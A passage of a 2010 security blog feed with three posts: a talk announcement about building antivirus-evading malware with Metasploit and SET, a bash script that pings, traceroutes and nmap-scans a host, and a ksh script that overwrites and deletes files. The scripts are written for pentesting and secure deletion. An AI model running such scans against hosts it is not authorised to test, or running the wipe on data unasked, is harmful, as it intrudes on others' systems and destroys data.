		<category><![CDATA[hacking]]></category>
		<category><![CDATA[indetectable]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<category><![CDATA[SET]]></category>
		<category><![CDATA[undetectable]]></category>
		<guid isPermaLink="false">http://hackarandas.com/blog/?p=318</guid>

					<description><![CDATA[Tengo el gusto de anunciarles que el Profesor Arturo GarcÃ­a conocido en el Twitter cÃ³mo @ElProfeSeguro, me ha invitado a dar una conferencia sobre HUM o Homemade Undetectable Malware en el ITESM CCM. No quiero adelantar mucho de la conferencia &#8230; <a href="https://hackarandas.com/blog/2010/08/27/conferencia-hum-homemade-undetectable-malware/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2010/08/Malware-150x150.png" alt="HUM - Homemade Undetectable Malware" title="HUM" width="150" height="150" class="alignleft size-thumbnail wp-image-329" style="margin: 10px 10px 0pt 0pt; float: left;" /> Tengo el gusto de anunciarles que el Profesor <a href="http://mx.linkedin.com/in/agarciah">Arturo GarcÃ­a</a> conocido en el Twitter cÃ³mo <a href="http://twitter.com/elprofeseguro">@ElProfeSeguro</a>, me ha invitado a dar una conferencia sobre HUM o Homemade Undetectable <a href="http://en.wikipedia.org/wiki/Malware">Malware</a> en el <a href="http://www.ccm.itesm.mx/">ITESM CCM</a>.</p>
<p>No quiero adelantar mucho de la conferencia pero platicarÃ© de mi experiencia creando malware indetectable cÃ³mo estos se propagan y describirÃ© las herramientas que utlilizo cÃ³mo el <a href="http://www.metasploit.com/">Metasploit</a> y el <a href="http://www.offensive-security.com/metasploit-unleashed/Social-Engineering-Toolkit">Social Engineer Toolkit</a> en las pruebas de penetraciÃ³n que realizo y cÃ³mo las combino con el Malware para mayor efectividad.</p>
<li>Fecha: Martes 31 de agosto de 2010</li>
<li>Hora: 19:00 hrs</li>
<li>DuraciÃ³n: 90 minutos</li>
<li>Lugar: ITESM CCM, Aula Magna 1. Primer piso. Aulas II.</li>
<li>Entrada libre y gratuita.</li>
<p>CÃ³mo llegar:<br />
<center><a href="http://www.ccm.itesm.mx/nuestrocampus/llegar.html"><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2010/08/mapa.itesm_.ccm_-300x163.jpg" alt="Como llegar al ITESM CCM" title="Como llegar al ITESM CCM" width="300" height="163" class="size-medium wp-image-323" srcset="https://hackarandas.com/blog/wp-content/uploads/2010/08/mapa.itesm_.ccm_-300x163.jpg 300w, https://hackarandas.com/blog/wp-content/uploads/2010/08/mapa.itesm_.ccm_.jpg 722w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></center></p>
<p>Espero verlos por ahi y un agradecimiento a Arturo GarcÃ­a y al ITESM CCM por la invitaciÃ³n y las facilidades para dar la conferencia.</p>
<p><strong>ACTUALIZACION</strong></p>
<p>DisfrutÃ© mucho dar la conferencia y un grupo muy participativo, realmente la pasÃ© bien y tuve el gusto de conocer a <a href="http://twitter.com/Paco_">@Paco_</a> dueÃ±o del interesante blog  <a href="http://www.hacking.mx/">Hacking MX</a>. Gracias a todos los que fueron y a quieren me invitaron y la presentaciÃ³n se las dejo en la <a href="http://hackarandas.com/blog/security-articles/">secciÃ³n de artÃ­culos</a>dentro de mi blog o lo pueden descargar de la siguiente liga:</p>
<p><center><a href="http://hackarandas.com/security-articles/Conferencia.HUM-Adrian.Puente.Z.pdf"><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2009/04/pdf.miniatura.png" alt="Descarga la presentaciÃ³n" title="Descarga la presentaciÃ³n" width="50" height="50" border=0 class="aligncenter size-thumbnail wp-image-341" /><br /> HUM: Homemade Undetectable Malware</a></p>
<p><a href="http://hackarandas.com/blog/wp-content/uploads/2010/08/sta43589.jpg"><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2010/08/sta43589-150x150.jpg" alt="" title="Conferencia HUM - ITESM 2010" width="50" height="50" class="alignleft size-thumbnail wp-image-347" /></a><a href="http://hackarandas.com/blog/wp-content/uploads/2010/08/sta43592.jpg"><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2010/08/sta43592-150x150.jpg" alt="" title="Conferencia HUM - ITESM 2010" width="50" height="50" class="alignleft size-thumbnail wp-image-349" /></a> <a href="http://hackarandas.com/blog/wp-content/uploads/2010/08/sta43595.jpg"><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2010/08/sta43595-150x150.jpg" alt="" title="Conferencia HUM - ITESM 2010" width="50" height="50" class="alignleft size-thumbnail wp-image-350" /></p>
<p></center></p>
<p><em>AdriÃ¡n Puente Z.</em></p>
<p>Technorati Tags: <a title="Adrian Puente Z." href="http://technorati.com/tag/Adrian+Puente+Z." rel="tag" target="_blank">Adrian Puente Z.</a>, <a title="itesm ccm" href="http://technorati.com/tag/itesm+ccm" rel="tag" target="_blank">itesm ccm</a>, <a title="hackarandas" href="http://technorati.com/tag/hackarandas" rel="tag" target="_blank">hackarandas</a>, <a title="malware" href="http://technorati.com/tag/malware" rel="tag" target="_blank">malware</a>, <a title="SET" href="http://technorati.com/tag/SET" rel="tag" target="_blank">SET</a>, <a title="metasploit" href="http://technorati.com/tag/metasploit" rel="tag" target="_blank">metasploit</a>, <a title="antivirus" href="http://technorati.com/tag/antivirus" rel="tag" target="_blank">antivirus</a>, <a title="undetectable" href="http://technorati.com/tag/undetectable" rel="tag" target="_blank">undetectable</a>, <a title="Arturo Garcia" href="http://technorati.com/tag/Arturo+Garcia" rel="tag" target="_blank">arturo garcia</a>, <a title="elprofeseguro" href="http://technorati.com/tag/elprofeseguro" rel="tag" target="_blank">elprofeseguro</a></p>
<p><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook_messenger" href="https://www.addtoany.com/add_to/facebook_messenger?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Facebook Messenger" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hacker_news" href="https://www.addtoany.com/add_to/hacker_news?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Hacker News" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_google_bookmarks" href="https://www.addtoany.com/add_to/google_bookmarks?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Google Bookmarks" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_evernote" href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Evernote" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_telegram" href="https://www.addtoany.com/add_to/telegram?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Telegram" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_kindle_it" href="https://www.addtoany.com/add_to/kindle_it?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Kindle It" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_wechat" href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="WeChat" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_instapaper" href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&amp;linkname=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" title="Instapaper" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F27%2Fconferencia-hum-homemade-undetectable-malware%2F&#038;title=Conferencia%3A%20HUM%20%E2%80%93%20Homemade%20Undetectable%20Malware" data-a2a-url="https://hackarandas.com/blog/2010/08/27/conferencia-hum-homemade-undetectable-malware/" data-a2a-title="Conferencia: HUM – Homemade Undetectable Malware"><img src="https://static.addtoany.com/buttons/share_save_120_16.png" alt="Share"></a></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackarandas.com/blog/2010/08/27/conferencia-hum-homemade-undetectable-malware/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>Can I reach it? Small Script for Network Connectivity Test</title>
		<link>https://hackarandas.com/blog/2010/08/23/can-i-reach-it-small-script-for-network-connectivity-test/</link>
					<comments>https://hackarandas.com/blog/2010/08/23/can-i-reach-it-small-script-for-network-connectivity-test/#comments</comments>
		
		<dc:creator><![CDATA[ch0ks]]></dc:creator>
		<pubDate>Mon, 23 Aug 2010 15:00:30 +0000</pubDate>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<category><![CDATA[traceroute]]></category>
		<guid isPermaLink="false">http://hackarandas.com/blog/?p=308</guid>

					<description><![CDATA[I made this script so I can replicate a network connection test to some host. It&#8217;s really small but it works in all the cases and has some nice features as internal and external IP detection. It works in Linux, &#8230; <a href="https://hackarandas.com/blog/2010/08/23/can-i-reach-it-small-script-for-network-connectivity-test/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2010/08/network-150x150.jpg" alt="" title="Network" width="100" height="100" class="alignleft size-thumbnail wp-image-309" style="margin: 10px 10px 0pt 0pt; float: left;" /> I made this script so I can replicate a network connection test to some host. It&#8217;s really small but it works in all the cases and has some nice features as internal and external IP detection. It works in Linux, ideal for a pentest using Backtrack. </p>
<p>Here is the Bash code.</p>
<pre lang="bash">
#!/bin/bash
# Script by Adrian Puente Z..
# Powered by Hackarandas www.hackarandas.com
# Licensed by GNU GPLv3
# http://www.gnu.org/licenses/gpl-3.0.txt

[ `id -u` -ne 0 ] && echo "Only root can do that! sudoing..." 
if [ "$EUID" != 0 ]; then sudo `which $0` $@; exit; fi

[ $# -eq 0 ] && echo  "Syntax: `basename $0` <host>" && exit 0

# Setting the host from the first argument.
HOST=$1
# Maximun hops for traceroute.
HOPS=15
# Maximun packet for ping.
PCOUNT=3

IFACE=`route -vn | grep UG | sed 's/\ \ */\ /g' | cut -d' ' -f8`
INTIP=`ifconfig ${IFACE} | grep "inet addr" | tr ' ' ':' | cut -d':' -f13`

# Choose the method you like most.
#EXTIP=`lynx --source http://www.whatismyip.org`
#EXTIP=`wget -q http://www.whatismyip.org -O-`
EXTIP=`curl -q http://www.whatismyip.org 2>/dev/null`

echo "--- Internal IP: ${INTIP} ---"
echo "--- External IP: ${EXTIP} ---"
echo -e "\n--- Pinging...\n"
ping -c ${PCOUNT} ${HOST}
echo -e "\n--- Doing traceroute...\n"
traceroute -m ${HOPS} ${HOST}
echo -e "\n--- Checking open ports...\n"
nmap -sSV -PN ${HOST}
echo -e "\n--- Test finished..."</pre>
<p>You can change the parameters to fit your needs.</p>
<p>Here is an example.</p>
<pre lang="c">
      --.^       (ch0ks@xipe)*(18:30:27)*(bin)      ^.--
-=:)> checkconnection.sh www.google.com
Only root can do that! sudoing...
--- Internal IP: 192.168.11.5 ---
--- External IP: A.B.C.D ---

--- Pinging...

PING www.l.google.com (74.125.95.106) 56(84) bytes of data.
64 bytes from iw-in-f106.1e100.net (74.125.95.106): icmp_seq=1 ttl=51 time=67.2 ms
64 bytes from iw-in-f106.1e100.net (74.125.95.106): icmp_seq=2 ttl=51 time=65.8 ms
64 bytes from iw-in-f106.1e100.net (74.125.95.106): icmp_seq=3 ttl=51 time=66.3 ms

--- www.l.google.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 65.895/66.490/67.223/0.626 ms

--- Making traceroute...

traceroute to www.google.com (74.125.95.103), 15 hops max, 60 byte packets
 1  leviatan (192.168.11.250)  1.385 ms  1.465 ms  1.492 ms
 2  201.159.131.205 (A.B.C.D)  5.463 ms  5.511 ms  5.519 ms
 3  192.168.1.98 (192.168.1.98)  5.648 ms  5.710 ms  5.970 ms
 4  customer-58.xertix.com (201.159.136.58)  6.000 ms  6.067 ms  6.208 ms
 5  na-200-78-191-129.static.avantel.net.mx (200.78.191.129)  8.204 ms  8.264 ms  8.456 ms
 6  dial-200-39-225-125.zone-1.ip.dial.net.mx (200.39.225.125)  8.617 ms  6.470 ms  6.654 ms
 7  pos1-0.cr02.mca01.pccwbtn.net (63.218.161.69)  20.646 ms  20.614 ms  20.039 ms
 8  TenGE12-1.br02.dal01.pccwbtn.net (63.218.22.82)  303.761 ms * *
 9  google.tenge11-4.br02.dal01.pccwbtn.net (63.218.23.118)  33.544 ms  34.331 ms  34.501 ms
10  72.14.233.85 (72.14.233.85)  61.329 ms 72.14.233.77 (72.14.233.77)  61.388 ms  61.520 ms
11  216.239.47.121 (216.239.47.121)  69.114 ms  69.800 ms  69.511 ms
12  209.85.253.173 (209.85.253.173)  68.657 ms 209.85.255.223 (209.85.255.223)  67.482 ms 209.85.253.173 (209.85.253.173)  68.568 ms
13  209.85.241.29 (209.85.241.29)  66.212 ms  66.150 ms  66.263 ms
14  iw-in-f103.1e100.net (74.125.95.103)  65.803 ms  65.757 ms  65.991 ms

--- Checking open ports...

Starting Nmap 5.00 ( http://nmap.org ) at 2010-08-20 18:31 CDT
Warning: Hostname www.google.com resolves to 6 IPs. Using 74.125.95.104.
Interesting ports on iw-in-f104.1e100.net (74.125.95.104):
Not shown: 996 filtered ports
PORT    STATE  SERVICE  VERSION
21/tcp  open   ftp?
80/tcp  open   http     Google httpd 2.0 (GFE)
113/tcp closed auth
443/tcp open   ssl/http Google httpd 2.0 (GFE)
Service Info: OS: Linux

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.81 seconds

--- Test finished...</pre>
<p>I hope you liked and helped. You can also visit other scripts and projects I have <a href="http://hackarandas.com/hacking-projects/">here</a>. And please, leave your comments.</p>
<p><strong>AdriÃ¡n Puente Z.</strong></p>
<p><a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a>, <a href="http://www.technorati.com/tag/Hackarandas" rel="tag">Hackarandas</a>, <a href="http://www.technorati.com/tag/Security" rel="tag">Security</a>, <a href="http://www.technorati.com/tag/Network+Test" rel="tag">Network Test</a>, <a href="http://www.technorati.com/tag/ping" rel="tag">ping</a>, <a href="http://www.technorati.com/tag/traceroute" rel="tag">traceroute</a></p>
<p><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook_messenger" href="https://www.addtoany.com/add_to/facebook_messenger?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Facebook Messenger" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hacker_news" href="https://www.addtoany.com/add_to/hacker_news?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Hacker News" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_google_bookmarks" href="https://www.addtoany.com/add_to/google_bookmarks?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Google Bookmarks" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_evernote" href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Evernote" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_telegram" href="https://www.addtoany.com/add_to/telegram?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Telegram" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_kindle_it" href="https://www.addtoany.com/add_to/kindle_it?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Kindle It" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_wechat" href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="WeChat" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_instapaper" href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&amp;linkname=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" title="Instapaper" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F08%2F23%2Fcan-i-reach-it-small-script-for-network-connectivity-test%2F&#038;title=Can%20I%20reach%20it%3F%20Small%20Script%20for%20Network%20Connectivity%20Test" data-a2a-url="https://hackarandas.com/blog/2010/08/23/can-i-reach-it-small-script-for-network-connectivity-test/" data-a2a-title="Can I reach it? Small Script for Network Connectivity Test"><img src="https://static.addtoany.com/buttons/share_save_120_16.png" alt="Share"></a></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackarandas.com/blog/2010/08/23/can-i-reach-it-small-script-for-network-connectivity-test/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Uncomplicated File Wipe for *NIX</title>
		<link>https://hackarandas.com/blog/2010/08/17/uncomplicated-wipe-for-nix/</link>
					<comments>https://hackarandas.com/blog/2010/08/17/uncomplicated-wipe-for-nix/#respond</comments>
		
		<dc:creator><![CDATA[ch0ks]]></dc:creator>
		<pubDate>Wed, 18 Aug 2010 01:59:02 +0000</pubDate>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[ksh]]></category>
		<category><![CDATA[secure delete]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[wipe]]></category>
		<guid isPermaLink="false">http://hackarandas.com/blog/?p=285</guid>

					<description><![CDATA[We needed to guarantee to one of our customers that a file will be securely deleted. Since the server was a HPUX Unix and we can&#8217;t compile nor install new applications, I managed to write this script to wipe the &#8230; <a href="https://hackarandas.com/blog/2010/08/17/uncomplicated-wipe-for-nix/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2010/08/file-shredding_medium.jpeg" alt="" title="File Shredding" width="193" height="240" class="alignleft size-full wp-image-291" style="margin: 10px 10px 0pt 0pt; float: left;" /> We needed to guarantee to one of our customers that a file will be securely deleted. Since the server was a HPUX Unix and we can&#8217;t compile nor install new applications, I managed to write this script to wipe the file.</p>
<p>The file is overwritten 7 times as the <a href="http://www.usaid.gov/policy/ads/500/d522022m.pdf">US Department of Defense clearing standard DoD 5220.22-M</a> specifies and renamed another 7 times before being deleted. It is written for the KSH shell as many UNIX has it by default. It doesn&#8217;t  run in bash but you can edit it to fit your needs.</p>
<p>Here is the code:</p>
<pre lang="bash">
#!/usr/bin/ksh
# Script by Adrian Puente Z..
# Powered by Hackarandas www.hackarandas.com
# Licensed by GNU GPLv3
# http://www.gnu.org/licenses/gpl-3.0.txt

# US Department of Defense clearing standard DOD 5220.22-M (ECE)
PASES=7
# Device to overwrite the file.
# Can be:
# /dev/random
# /dev/urandom
# /dev/zero (less secure, overwritten with zeros)
RANDEV=/dev/urandom
NAME=$$
COUNT=0
FILE=$1

if [[ $# -eq 0 ]];then
	print "Syntax: $0 <file to wipe>"
	exit 1
fi

if [[ ! -f $FILE ]]
then
	print "File $FILE doesn't exists"
	exit 1
fi

if [[ ! -w $FILE ]]
then
	print "Can't write on file $FILE"
	exit 1
fi

SIZE=$(ls -l $FILE | cut -d' ' -f5)

print -n "About to wipe file: $FILE are you sure? \"N/y\": "
read answer
print ""

if [[ ! ( $answer = 'y' || $answer = 'Y' ) ]]
then
	print "Command canceled."
	exit 0
fi

while [[ $COUNT -lt $PASES ]];do
	(( COUNT += 1 ))
	print "Pass number: $COUNT"
	dd if=$RANDEV of=$FILE bs=$SIZE count=1
done

COUNT=0
echo "Renaming..."

while [[ $COUNT -lt $PASES ]];do
        (( COUNT += 1 ))
        (( NAME += "$NAME$COUNT" ))
	mv -v $FILE $NAME
	FILE=$NAME
done

rm -v $FILE
FILE=$1
echo File: $FILE deleted.
exit 0</pre>
<p>The syntax is simple:</p>
<pre lang="c">
      --.^       (ch0ks@xipe)*(20:38:05)*(~)      ^.--
-=:)> uncomplicatedwipe.ksh 
Syntax: uncomplicatedwipe.ksh <file to wipe></pre>
<p>You can follow this commands to test the script:</p>
<pre lang="c"> hexdump /dev/urandom > foo.txt 
#after some seconds press CTRL+C </pre>
<p>Now we wipe the file</p>
<pre lang="c">
      --.^       (ch0ks@xipe)*(20:36:00)*(tmp)      ^.--
-=:)> uncomplicatedwipe.sh foo.txt 
About to wipe file: foo.txt are you sure? "N/y": y

Pass number: 1
1+0 records in
1+0 records out
15477760 bytes (15 MB) copied, 4.01637 s, 3.9 MB/s
Pass number: 2
1+0 records in
1+0 records out
15477760 bytes (15 MB) copied, 3.87637 s, 4.0 MB/s
Pass number: 3
1+0 records in
1+0 records out
15477760 bytes (15 MB) copied, 5.451 s, 2.8 MB/s
Pass number: 4
1+0 records in
1+0 records out
15477760 bytes (15 MB) copied, 4.48904 s, 3.4 MB/s
Pass number: 5
